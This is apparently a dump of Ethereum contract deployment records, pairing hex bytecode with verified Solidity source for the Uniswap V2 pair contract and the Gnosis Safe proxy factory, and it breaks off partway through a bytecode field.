event Burn(address indexed sender, uint amount0, uint amount1, address indexed to);
event Swap(
address indexed sender,
uint amount0In,
uint amount1In,
uint amount0Out,
uint amount1Out,
address indexed to
);
event Sync(uint112 reserve0, uint112 reserve1);
constructor() public {
factory = msg.sender;
}
// called once by the factory at time of deployment
function initialize(address _token0, address _token1) external {
require(msg.sender == factory, 'UniswapV2: FORBIDDEN'); // sufficient check
token0 = _token0;
token1 = _token1;
}
// update reserves and, on the first call per block, price accumulators
function _update(uint balance0, uint balance1, uint112 _reserve0, uint112 _reserve1) private {
require(balance0 <= uint112(-1) && balance1 <= uint112(-1), 'UniswapV2: OVERFLOW');
uint32 blockTimestamp = uint32(block.timestamp % 2**32);
uint32 timeElapsed = blockTimestamp - blockTimestampLast; // overflow is desired
if (timeElapsed > 0 && _reserve0 != 0 && _reserve1 != 0) {
// * never overflows, and + overflow is desired
price0CumulativeLast += uint(UQ112x112.encode(_reserve1).uqdiv(_reserve0)) * timeElapsed;
price1CumulativeLast += uint(UQ112x112.encode(_reserve0).uqdiv(_reserve1)) * timeElapsed;
}
reserve0 = uint112(balance0);
reserve1 = uint112(balance1);
blockTimestampLast = blockTimestamp;
emit Sync(reserve0, reserve1);
}
// if fee is on, mint liquidity equivalent to 1/6th of the growth in sqrt(k)
function _mintFee(uint112 _reserve0, uint112 _reserve1) private returns (bool feeOn) {
address feeTo = IUniswapV2Factory(factory).feeTo();
feeOn = feeTo != address(0);
uint _kLast = kLast; // gas savings
if (feeOn) {
if (_kLast != 0) {
uint rootK = Math.sqrt(uint(_reserve0).mul(_reserve1));
uint rootKLast = Math.sqrt(_kLast);
if (rootK > rootKLast) {
uint numerator = totalSupply.mul(rootK.sub(rootKLast));
uint denominator = rootK.mul(5).add(rootKLast);
uint liquidity = numerator / denominator;
if (liquidity > 0) _mint(feeTo, liquidity);
}
}
} else if (_kLast != 0) {
kLast = 0;
}
}
// this low-level function should be called from a contract which performs important safety checks
function mint(address to) external lock returns (uint liquidity) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
uint balance0 = IERC20(token0).balanceOf(address(this));
uint balance1 = IERC20(token1).balanceOf(address(this));
uint amount0 = balance0.sub(_reserve0);
uint amount1 = balance1.sub(_reserve1);
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
if (_totalSupply == 0) {
liquidity = Math.sqrt(amount0.mul(amount1)).sub(MINIMUM_LIQUIDITY);
_mint(address(0), MINIMUM_LIQUIDITY); // permanently lock the first MINIMUM_LIQUIDITY tokens
} else {
liquidity = Math.min(amount0.mul(_totalSupply) / _reserve0, amount1.mul(_totalSupply) / _reserve1);
}
require(liquidity > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_MINTED');
_mint(to, liquidity);
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Mint(msg.sender, amount0, amount1);
}
// this low-level function should be called from a contract which performs important safety checks
function burn(address to) external lock returns (uint amount0, uint amount1) {
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
uint balance0 = IERC20(_token0).balanceOf(address(this));
uint balance1 = IERC20(_token1).balanceOf(address(this));
uint liquidity = balanceOf[address(this)];
bool feeOn = _mintFee(_reserve0, _reserve1);
uint _totalSupply = totalSupply; // gas savings, must be defined here since totalSupply can update in _mintFee
amount0 = liquidity.mul(balance0) / _totalSupply; // using balances ensures pro-rata distribution
amount1 = liquidity.mul(balance1) / _totalSupply; // using balances ensures pro-rata distribution
require(amount0 > 0 && amount1 > 0, 'UniswapV2: INSUFFICIENT_LIQUIDITY_BURNED');
_burn(address(this), liquidity);
_safeTransfer(_token0, to, amount0);
_safeTransfer(_token1, to, amount1);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
_update(balance0, balance1, _reserve0, _reserve1);
if (feeOn) kLast = uint(reserve0).mul(reserve1); // reserve0 and reserve1 are up-to-date
emit Burn(msg.sender, amount0, amount1, to);
}
// this low-level function should be called from a contract which performs important safety checks
function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external lock {
require(amount0Out > 0 || amount1Out > 0, 'UniswapV2: INSUFFICIENT_OUTPUT_AMOUNT');
(uint112 _reserve0, uint112 _reserve1,) = getReserves(); // gas savings
require(amount0Out < _reserve0 && amount1Out < _reserve1, 'UniswapV2: INSUFFICIENT_LIQUIDITY');
uint balance0;
uint balance1;
{ // scope for _token{0,1}, avoids stack too deep errors
address _token0 = token0;
address _token1 = token1;
require(to != _token0 && to != _token1, 'UniswapV2: INVALID_TO');
if (amount0Out > 0) _safeTransfer(_token0, to, amount0Out); // optimistically transfer tokens
if (amount1Out > 0) _safeTransfer(_token1, to, amount1Out); // optimistically transfer tokens
if (data.length > 0) IUniswapV2Callee(to).uniswapV2Call(msg.sender, amount0Out, amount1Out, data);
balance0 = IERC20(_token0).balanceOf(address(this));
balance1 = IERC20(_token1).balanceOf(address(this));
}
uint amount0In = balance0 > _reserve0 - amount0Out ? balance0 - (_reserve0 - amount0Out) : 0;
uint amount1In = balance1 > _reserve1 - amount1Out ? balance1 - (_reserve1 - amount1Out) : 0;
require(amount0In > 0 || amount1In > 0, 'UniswapV2: INSUFFICIENT_INPUT_AMOUNT');
{ // scope for reserve{0,1}Adjusted, avoids stack too deep errors
uint balance0Adjusted = balance0.mul(1000).sub(amount0In.mul(3));
uint balance1Adjusted = balance1.mul(1000).sub(amount1In.mul(3));
require(balance0Adjusted.mul(balance1Adjusted) >= uint(_reserve0).mul(_reserve1).mul(1000**2), 'UniswapV2: K');
}
_update(balance0, balance1, _reserve0, _reserve1);
emit Swap(msg.sender, amount0In, amount1In, amount0Out, amount1Out, to);
}
// force balances to match reserves
function skim(address to) external lock {
address _token0 = token0; // gas savings
address _token1 = token1; // gas savings
_safeTransfer(_token0, to, IERC20(_token0).balanceOf(address(this)).sub(reserve0));
_safeTransfer(_token1, to, IERC20(_token1).balanceOf(address(this)).sub(reserve1));
}
// force reserves to match balances
function sync() external lock {
_update(IERC20(token0).balanceOf(address(this)), IERC20(token1).balanceOf(address(this)), reserve0, reserve1);
}
} |
1 | 20,290,729 | 244f14cd6af7eb497744d8c72a4a9216f01922cd03a62d46f4117a1440a359f9 | c90dc5c31e664e5173689d7c91f0631f8f8ddd6874935bd296a344dd6fe1e32d | a9a0b8a5e1adca0caccc63a168f053cd3be30808 | 01cd62ed13d0b666e2a10d13879a763dfd1dab99 | 86a7216877f2c3d36cf29a3e5721ec051b2d4952 | 3d602d80600a3d3981f3363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3 | 363d3d373d3d3d363d7308656072fee78f1d07e38c189de56daa9863597a5af43d82803e903d91602b57fd5bf3 | |
1 | 20,290,730 | eeba4484da52d06470c465de1764d5e4220b7df207ac34f68f3153a89b6afa24 | fb74285376771abd079b82efe852d2ce26d3dc63f79a65dc0d9bc1e69407560f | f8afc0e552f9ed854e94d61e9a57ca94daed6f45 | a6b71e26c5e0845f74c812102ca7114b6a896ab2 | 1cdcef960dd05b5cb7b6f346311074c9c72907ec | 608060405234801561001057600080fd5b506040516101e63803806101e68339818101604052602081101561003357600080fd5b8101908080519060200190929190505050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156100ca576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260228152602001806101c46022913960400191505060405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505060ab806101196000396000f3fe608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033496e76616c69642073696e676c65746f6e20616464726573732070726f7669646564000000000000000000000000d9db270c1b5e3bd161e8c8503c55ceabee709552 | 608060405273ffffffffffffffffffffffffffffffffffffffff600054167fa619486e0000000000000000000000000000000000000000000000000000000060003514156050578060005260206000f35b3660008037600080366000845af43d6000803e60008114156070573d6000fd5b3d6000f3fea2646970667358221220d1429297349653a4918076d650332de1a1068c5f3e07c5c82360c277770b955264736f6c63430007060033 | // SPDX-License-Identifier: LGPL-3.0-only
pragma solidity >=0.7.0 <0.9.0;
/// @title IProxy - Helper interface to access masterCopy of the Proxy on-chain
/// @author Richard Meissner - <[email protected]>
interface IProxy {
function masterCopy() external view returns (address);
}
/// @title GnosisSafeProxy - Generic proxy contract allows to execute all transactions applying the code of a master contract.
/// @author Stefan George - <[email protected]>
/// @author Richard Meissner - <[email protected]>
contract GnosisSafeProxy {
// singleton always needs to be first declared variable, to ensure that it is at the same location in the contracts to which calls are delegated.
// To reduce deployment costs this variable is internal and needs to be retrieved via `getStorageAt`
address internal singleton;
/// @dev Constructor function sets address of singleton contract.
/// @param _singleton Singleton address.
constructor(address _singleton) {
require(_singleton != address(0), "Invalid singleton address provided");
singleton = _singleton;
}
/// @dev Fallback function forwards all transactions and returns all received return data.
fallback() external payable {
// solhint-disable-next-line no-inline-assembly
assembly {
let _singleton := and(sload(0), 0xffffffffffffffffffffffffffffffffffffffff)
// 0xa619486e == keccak("masterCopy()"). The value is right padded to 32-bytes with 0s
if eq(calldataload(0), 0xa619486e00000000000000000000000000000000000000000000000000000000) {
mstore(0, _singleton)
return(0, 0x20)
}
calldatacopy(0, 0, calldatasize())
let success := delegatecall(gas(), _singleton, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
if eq(success, 0) {
revert(0, returndatasize())
}
return(0, returndatasize())
}
}
}
/// @title Proxy Factory - Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @author Stefan George - <[email protected]>
contract GnosisSafeProxyFactory {
event ProxyCreation(GnosisSafeProxy proxy, address singleton);
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param singleton Address of singleton contract.
/// @param data Payload for message call sent to new proxy contract.
function createProxy(address singleton, bytes memory data) public returns (GnosisSafeProxy proxy) {
proxy = new GnosisSafeProxy(singleton);
if (data.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(data, 0x20), mload(data), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, singleton);
}
/// @dev Allows to retrieve the runtime code of a deployed Proxy. This can be used to check that the expected Proxy was deployed.
function proxyRuntimeCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).runtimeCode;
}
/// @dev Allows to retrieve the creation code used for the Proxy deployment. With this it is easily possible to calculate predicted address.
function proxyCreationCode() public pure returns (bytes memory) {
return type(GnosisSafeProxy).creationCode;
}
/// @dev Allows to create new proxy contact using CREATE2 but it doesn't run the initializer.
/// This method is only meant as an utility to be called from other methods
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function deployProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) internal returns (GnosisSafeProxy proxy) {
// If the initializer changes the proxy address should change too. Hashing the initializer data is cheaper than just concatinating it
bytes32 salt = keccak256(abi.encodePacked(keccak256(initializer), saltNonce));
bytes memory deploymentData = abi.encodePacked(type(GnosisSafeProxy).creationCode, uint256(uint160(_singleton)));
// solhint-disable-next-line no-inline-assembly
assembly {
proxy := create2(0x0, add(0x20, deploymentData), mload(deploymentData), salt)
}
require(address(proxy) != address(0), "Create2 call failed");
}
/// @dev Allows to create new proxy contact and execute a message call to the new proxy within one transaction.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function createProxyWithNonce(
address _singleton,
bytes memory initializer,
uint256 saltNonce
) public returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
if (initializer.length > 0)
// solhint-disable-next-line no-inline-assembly
assembly {
if eq(call(gas(), proxy, 0, add(initializer, 0x20), mload(initializer), 0, 0), 0) {
revert(0, 0)
}
}
emit ProxyCreation(proxy, _singleton);
}
/// @dev Allows to create new proxy contact, execute a message call to the new proxy and call a specified callback within one transaction
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
/// @param callback Callback that will be invoced after the new proxy contract has been successfully deployed and initialized.
function createProxyWithCallback(
address _singleton,
bytes memory initializer,
uint256 saltNonce,
IProxyCreationCallback callback
) public returns (GnosisSafeProxy proxy) {
uint256 saltNonceWithCallback = uint256(keccak256(abi.encodePacked(saltNonce, callback)));
proxy = createProxyWithNonce(_singleton, initializer, saltNonceWithCallback);
if (address(callback) != address(0)) callback.proxyCreated(proxy, _singleton, initializer, saltNonce);
}
/// @dev Allows to get the address for a new proxy contact created via `createProxyWithNonce`
/// This method is only meant for address calculation purpose when you use an initializer that would revert,
/// therefore the response is returned with a revert. When calling this method set `from` to the address of the proxy factory.
/// @param _singleton Address of singleton contract.
/// @param initializer Payload for message call sent to new proxy contract.
/// @param saltNonce Nonce that will be used to generate the salt to calculate the address of the new proxy contract.
function calculateCreateProxyWithNonceAddress(
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external returns (GnosisSafeProxy proxy) {
proxy = deployProxyWithNonce(_singleton, initializer, saltNonce);
revert(string(abi.encodePacked(proxy)));
}
}
interface IProxyCreationCallback {
function proxyCreated(
GnosisSafeProxy proxy,
address _singleton,
bytes calldata initializer,
uint256 saltNonce
) external;
} |
1 | 20,290,736 | 2d1f3720ae4baa2502a7ee452b73aaa4071a15011757028ac4367e1a0ad73fb4 | 3db772b630d8d6898e64bb0dfff5b8548a3c29dd6ea8e6de1927194cc2164bae | a7fb5ca286fc3fd67525629048a4de3ba24cba2e | c77ad0a71008d7094a62cfbd250a2eb2afdf2776 | 33476c7f8fd359da302162d038dab4a22d0d1ad7 | 608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe | ||
1 | 20,290,738 | 9cbf2e5cb41414cab9c82356b99ff1df39678dbd000a8de9bdc9a835d39c7a17 | 9c2d3c44ec1da37802b6940904c7519d554dd44a16150215885fd8d837618182 | 4e565f63257d90f988e5ec9d065bab00f94d2dfd | 9fa5c5733b53814692de4fb31fd592070de5f5f0 | 218b07581961fbb33111df6469771c9440357c3a | 608060408190526319b400eb60e21b8152339060009082906366d003ac9060849060209060048186803b15801561003557600080fd5b505afa158015610049573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061006d9190610271565b90506000826001600160a01b031663fc0c546a6040518163ffffffff1660e01b815260040160206040518083038186803b1580156100aa57600080fd5b505afa1580156100be573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906100e29190610271565b90506001600160a01b0381161561018d576040516370a0823160e01b815230600482015261018d9083906001600160a01b038416906370a082319060240160206040518083038186803b15801561013857600080fd5b505afa15801561014c573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061017091906102bf565b836001600160a01b031661019960201b610009179092919060201c565b816001600160a01b0316ff5b604080516001600160a01b038481166024830152604480830185905283518084039091018152606490920183526020820180516001600160e01b031663a9059cbb60e01b17905291516000928392908716916101f591906102d7565b6000604051808303816000865af19150503d8060008114610232576040519150601f19603f3d011682016040523d82523d6000602084013e610237565b606091505b5091509150818015610261575080511580610261575080806020019051810190610261919061029f565b61026a57600080fd5b5050505050565b600060208284031215610282578081fd5b81516001600160a01b0381168114610298578182fd5b9392505050565b6000602082840312156102b0578081fd5b81518015158114610298578182fd5b6000602082840312156102d0578081fd5b5051919050565b60008251815b818110156102f757602081860181015185830152016102dd565b818111156103055782828501525b50919091019291505056fe | ||
1 | 20,290,744 | 32145c162f78aab8050694ecdebf4f23248048c26e9ad6055e7de62358b6cea8 | 71558a3ba8091fbae26895f2f35f057d9b1706b7996667b082a2dc11a1c73eb8 | e90e278116574589fe37634739db2fbfcba4b2a2 | e90e278116574589fe37634739db2fbfcba4b2a2 | 0d2444ebed072e70eddec0c74ba5296c1523e109 | 60806040526611c37937e080006004553480156019575f80fd5b503380603e57604051631e4fbdf760e01b81525f600482015260240160405180910390fd5b604581605c565b50600180546001600160a01b0319163317905560ab565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b614ee3806100b85f395ff3fe6080604052600436106100a5575f3560e01c80637854ed12116100625780637854ed121461017f5780637d707aad1461019e5780638da5cb5b146101bd5780639ee67e10146101d9578063f2fde38b14610210578063f73aed201461022f575f80fd5b8063090e5465146100a95780631bec5b7a146100d15780632f03012e146100fc57806331b221cd146101235780635cd046d11461014a578063715018a614610169575b5f80fd5b3480156100b4575f80fd5b506100be60045481565b6040519081526020015b60405180910390f35b6100e46100df3660046105db565b61024e565b6040516001600160a01b0390911681526020016100c8565b348015610107575f80fd5b506100e473c3287bdef03b925a7c7f54791edadcd88e632ccd81565b34801561012e575f80fd5b506100e4730a0f4321214bb6c7811dd8a71cf587bdaf03f0a081565b348015610155575f80fd5b506001546100e4906001600160a01b031681565b348015610174575f80fd5b5061017d61043f565b005b34801561018a575f80fd5b5061017d61019936600461067a565b610452565b3480156101a9575f80fd5b5061017d6101b83660046106ac565b61045f565b3480156101c8575f80fd5b505f546001600160a01b03166100e4565b3480156101e4575f80fd5b506100be6101f336600461076b565b805160208183018101805160038252928201919093012091525481565b34801561021b575f80fd5b5061017d61022a3660046106ac565b610489565b34801561023a575f80fd5b506100e46102493660046107a5565b6104c6565b5f60045434101561029b5760405162461bcd60e51b8152602060048201526012602482015271496e73756666696369656e742066756e647360701b60448201526064015b60405180910390fd5b5f8787878787876040516102ae90610586565b6102bd96959493929190610885565b604051809103905ff0801580156102d6573d5f803e3d5ffd5b5090506002888860048181106102ee576102ee610950565b90506020028101906103009190610964565b60405161030e9291906109a7565b908152604051602091819003820190208054600180820183555f928352929091200180546001600160a01b0319166001600160a01b03841617905560038989600481811061035e5761035e610950565b90506020028101906103709190610964565b60405161037e9291906109a7565b90815260200160405180910390205f82825461039a91906109b6565b90915550506001546040516001600160a01b03909116903480156108fc02915f818181858888f193505050501580156103d5573d5f803e3d5ffd5b507f986b269bc298e243448f506d0cf973af56bf7b2d5c2b37841394d10d236eb826338989600481811061040b5761040b610950565b905060200281019061041d9190610964565b60405161042c939291906109db565b60405180910390a1979650505050505050565b61044761050b565b6104505f610537565b565b61045a61050b565b600455565b61046761050b565b600180546001600160a01b0319166001600160a01b0392909216919091179055565b61049161050b565b6001600160a01b0381166104ba57604051631e4fbdf760e01b81525f6004820152602401610292565b6104c381610537565b50565b815160208184018101805160028252928201918501919091209190528054829081106104f0575f80fd5b5f918252602090912001546001600160a01b03169150829050565b5f546001600160a01b031633146104505760405163118cdaa760e01b8152336004820152602401610292565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6144a580610a0983390190565b5f8083601f8401126105a3575f80fd5b50813567ffffffffffffffff8111156105ba575f80fd5b6020830191508360208260051b85010111156105d4575f80fd5b9250929050565b5f805f805f80606087890312156105f0575f80fd5b863567ffffffffffffffff811115610606575f80fd5b61061289828a01610593565b909750955050602087013567ffffffffffffffff811115610631575f80fd5b61063d89828a01610593565b909550935050604087013567ffffffffffffffff81111561065c575f80fd5b61066889828a01610593565b979a9699509497509295939492505050565b5f6020828403121561068a575f80fd5b5035919050565b80356001600160a01b03811681146106a7575f80fd5b919050565b5f602082840312156106bc575f80fd5b6106c582610691565b9392505050565b634e487b7160e01b5f52604160045260245ffd5b5f82601f8301126106ef575f80fd5b813567ffffffffffffffff811115610709576107096106cc565b604051601f8201601f19908116603f0116810167ffffffffffffffff81118282101715610738576107386106cc565b60405281815283820160200185101561074f575f80fd5b816020850160208301375f918101602001919091529392505050565b5f6020828403121561077b575f80fd5b813567ffffffffffffffff811115610791575f80fd5b61079d848285016106e0565b949350505050565b5f80604083850312156107b6575f80fd5b823567ffffffffffffffff8111156107cc575f80fd5b6107d8858286016106e0565b95602094909401359450505050565b81835281816020850137505f828201602090810191909152601f909101601f19169091010190565b8183525f6001600160fb1b03831115610826575f80fd5b8260051b80836020870137939093016020019392505050565b8183526020830192505f815f5b8481101561087b576001600160a01b0361086583610691565b168652602095860195919091019060010161084c565b5093949350505050565b606080825281018690525f6080600588901b830181019083018983601e1936839003015b8b82101561091757868503607f1901845282358181126108c7575f80fd5b8d0160208101903567ffffffffffffffff8111156108e3575f80fd5b8036038213156108f1575f80fd5b6108fc8782846107e7565b965050506020830192506020840193506001820191506108a9565b50505050828103602084015261092e81878961080f565b9050828103604084015261094381858761083f565b9998505050505050505050565b634e487b7160e01b5f52603260045260245ffd5b5f808335601e19843603018112610979575f80fd5b83018035915067ffffffffffffffff821115610993575f80fd5b6020019150368190038213156105d4575f80fd5b818382375f9101908152919050565b808201808211156109d557634e487b7160e01b5f52601160045260245ffd5b92915050565b6001600160a01b03841681526040602082018190525f906109ff90830184866107e7565b9594505050505056fe60a060405260118054600160a01b600160e01b031916613d0960a51b179055348015610029575f80fd5b506040516144a53803806144a583398101604081905261004891610445565b825f8151811061005a5761005a6105a8565b602002602001015183600181518110610075576100756105a8565b6020026020010151825f8151811061008f5761008f6105a8565b6020908102919091010151730a0f4321214bb6c7811dd8a71cf587bdaf03f0a06080526001600160a01b0381166100df57604051631e4fbdf760e01b81525f600482015260240160405180910390fd5b6100e8816102b7565b5060016100f58382610640565b5060026101028282610640565b505050815f81518110610117576101176105a8565b6020026020010151600781905550805f81518110610137576101376105a8565b602002602001015160105f6101000a8154816001600160a01b0302191690836001600160a01b0316021790555080600181518110610177576101776105a8565b602002602001015160115f6101000a8154816001600160a01b0302191690836001600160a01b03160217905550826002815181106101b7576101b76105a8565b6020026020010151600c90816101cd9190610640565b50826003815181106101e1576101e16105a8565b6020026020010151600d90816101f79190610640565b508260048151811061020b5761020b6105a8565b6020026020010151600e90816102219190610640565b5081600181518110610235576102356105a8565b6020026020010151600b8190555081600281518110610256576102566105a8565b602002602001015160098190555081600381518110610277576102776105a8565b6020026020010151600a8190555082600581518110610298576102986105a8565b6020026020010151600f90816102ae9190610640565b505050506106fa565b5f80546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b634e487b7160e01b5f52604160045260245ffd5b604051601f8201601f191681016001600160401b038111828210171561034257610342610306565b604052919050565b5f6001600160401b0382111561036257610362610306565b5060051b60200190565b5f82601f83011261037b575f80fd5b815161038e6103898261034a565b61031a565b8082825260208201915060208360051b8601019250858311156103af575f80fd5b602085015b838110156103cc5780518352602092830192016103b4565b5095945050505050565b5f82601f8301126103e5575f80fd5b81516103f36103898261034a565b8082825260208201915060208360051b860101925085831115610414575f80fd5b602085015b838110156103cc5780516001600160a01b0381168114610437575f80fd5b835260209283019201610419565b5f805f60608486031215610457575f80fd5b83516001600160401b0381111561046c575f80fd5b8401601f8101861361047c575f80fd5b805161048a6103898261034a565b8082825260208201915060208360051b8501019250888311156104ab575f80fd5b602084015b838110156105495780516001600160401b038111156104cd575f80fd5b8501603f81018b136104dd575f80fd5b60208101516001600160401b038111156104f9576104f9610306565b61050c601f8201601f191660200161031a565b8181526040838301018d1015610520575f80fd5b8160408401602083015e5f602083830101528086525050506020830192506020810190506104b0565b506020880151909650925050506001600160401b03811115610569575f80fd5b6105758682870161036c565b604086015190935090506001600160401b03811115610592575f80fd5b61059e868287016103d6565b9150509250925092565b634e487b7160e01b5f52603260045260245ffd5b600181811c908216806105d057607f821691505b6020821081036105ee57634e487b7160e01b5f52602260045260245ffd5b50919050565b601f82111561063b57805f5260205f20601f840160051c810160208510156106195750805b601f840160051c820191505b81811015610638575f8155600101610625565b50505b505050565b81516001600160401b0381111561065957610659610306565b61066d8161066784546105bc565b846105f4565b6020601f82116001811461069f575f83156106885750848201515b5f19600385901b1c1916600184901b178455610638565b5f84815260208120601f198516915b828110156106ce57878501518255602094850194600190920191016106ae565b50848210156106eb57868401515f19600387901b60f8161c191681555b50505050600190811b01905550565b608051613d706107355f395f81816104ed01528181610cdd01528181611a5201528181611a8f01528181611c3601526121d50152613d705ff3fe60806040526004361061035b575f3560e01c806370a08231116101bd578063b0347814116100f2578063de8f50a111610092578063ebd7edaf1161006d578063ebd7edaf146109a5578063ec3e5f45146109b9578063eda47704146109f7578063f2fde38b14610a16575f80fd5b8063de8f50a114610948578063e0be9bf914610967578063e985e9c514610986575f80fd5b8063b88d4fde116100cd578063b88d4fde146108e2578063c1d88c4414610901578063c745e3ff14610915578063c87b56dd14610929575f80fd5b8063b03478141461089a578063b0f7a3ff146108b9578063b7b6ccd5146108ce575f80fd5b80638da5cb5b1161015d578063a1a0e7fc11610138578063a1a0e7fc14610812578063a22cb46514610831578063ad72e1a514610850578063aea305071461087b575f80fd5b80638da5cb5b146107cf57806395d89b41146107eb5780639ee74dd1146107ff575f80fd5b80637df04787116101985780637df047871461073557806381d12c581461076c5780638500a45d1461079b5780638cbc52d9146107b0575f80fd5b806370a08231146106e3578063715018a61461070257806378564b7414610716575f80fd5b80633ccfd60b1161029357806358fd416d11610233578063628ae0a31161020e578063628ae0a3146106875780636352211e1461069b5780636817c76c146106ba578063702de1e3146106cf575f80fd5b806358fd416d146106235780635bb4688d146106425780635cec1b7614610672575f80fd5b8063414f11451161026e578063414f11451461059f57806342842e0e146105be5780634c34e4dc146105dd5780634ca0ce4c146105fc575f80fd5b80633ccfd60b1461054d5780633f37dce2146105615780633f3e4c1114610580575f80fd5b80632ab4d052116102fe5780632f03012e116102d95780632f03012e146104b557806331b221cd146104dc57806333727c4d1461050f5780633c1c8e491461052e575f80fd5b80632ab4d052146104625780632cfb2080146104775780632ddfb80714610496575f80fd5b8063095ea7b311610339578063095ea7b3146103eb578063122d1bad1461040c57806318160ddd1461042057806323b872dd14610443575f80fd5b806301ffc9a71461035f57806306fdde0314610393578063081812fc146103b4575b5f80fd5b34801561036a575f80fd5b5061037e610379366004612b12565b610a35565b60405190151581526020015b60405180910390f35b34801561039e575f80fd5b506103a7610a86565b60405161038a9190612b62565b3480156103bf575f80fd5b506103d36103ce366004612b74565b610b16565b6040516001600160a01b03909116815260200161038a565b3480156103f6575f80fd5b5061040a610405366004612ba1565b610b3d565b005b348015610417575f80fd5b506103a7610b4c565b34801561042b575f80fd5b5061043560085481565b60405190815260200161038a565b34801561044e575f80fd5b5061040a61045d366004612bc9565b610bd8565b34801561046d575f80fd5b50610435600b5481565b348015610482575f80fd5b5061040a610491366004612c03565b610c66565b3480156104a1575f80fd5b5061040a6104b0366004612c29565b610c9b565b3480156104c0575f80fd5b506103d373c3287bdef03b925a7c7f54791edadcd88e632ccd81565b3480156104e7575f80fd5b506103d37f000000000000000000000000000000000000000000000000000000000000000081565b34801561051a575f80fd5b5061037e610529366004612b74565b610cc5565b348015610539575f80fd5b506103a7610548366004612d00565b610d4e565b348015610558575f80fd5b5061040a610d7c565b34801561056c575f80fd5b5061040a61057b366004612d85565b610d90565b34801561058b575f80fd5b5061040a61059a366004612b74565b610e6c565b3480156105aa575f80fd5b5061040a6105b9366004612def565b610e79565b3480156105c9575f80fd5b5061040a6105d8366004612bc9565b610e93565b3480156105e8575f80fd5b506011546103d3906001600160a01b031681565b348015610607575f80fd5b506103d3730a0f4321214bb6c7811dd8a71cf587bdaf03f0a081565b34801561062e575f80fd5b506103a761063d366004612b74565b610ead565b34801561064d575f80fd5b5061066161065c366004612b74565b6110ef565b60405161038a959493929190612e2d565b34801561067d575f80fd5b50610435600a5481565b348015610692575f80fd5b506103a76112b8565b3480156106a6575f80fd5b506103d36106b5366004612b74565b6112c5565b3480156106c5575f80fd5b5061043560075481565b3480156106da575f80fd5b506104356112cf565b3480156106ee575f80fd5b506104356106fd366004612c29565b6112ea565b34801561070d575f80fd5b5061040a61132f565b348015610721575f80fd5b5061040a610730366004612def565b611340565b348015610740575f80fd5b5061043561074f366004612e88565b805160208183018101805160148252928201919093012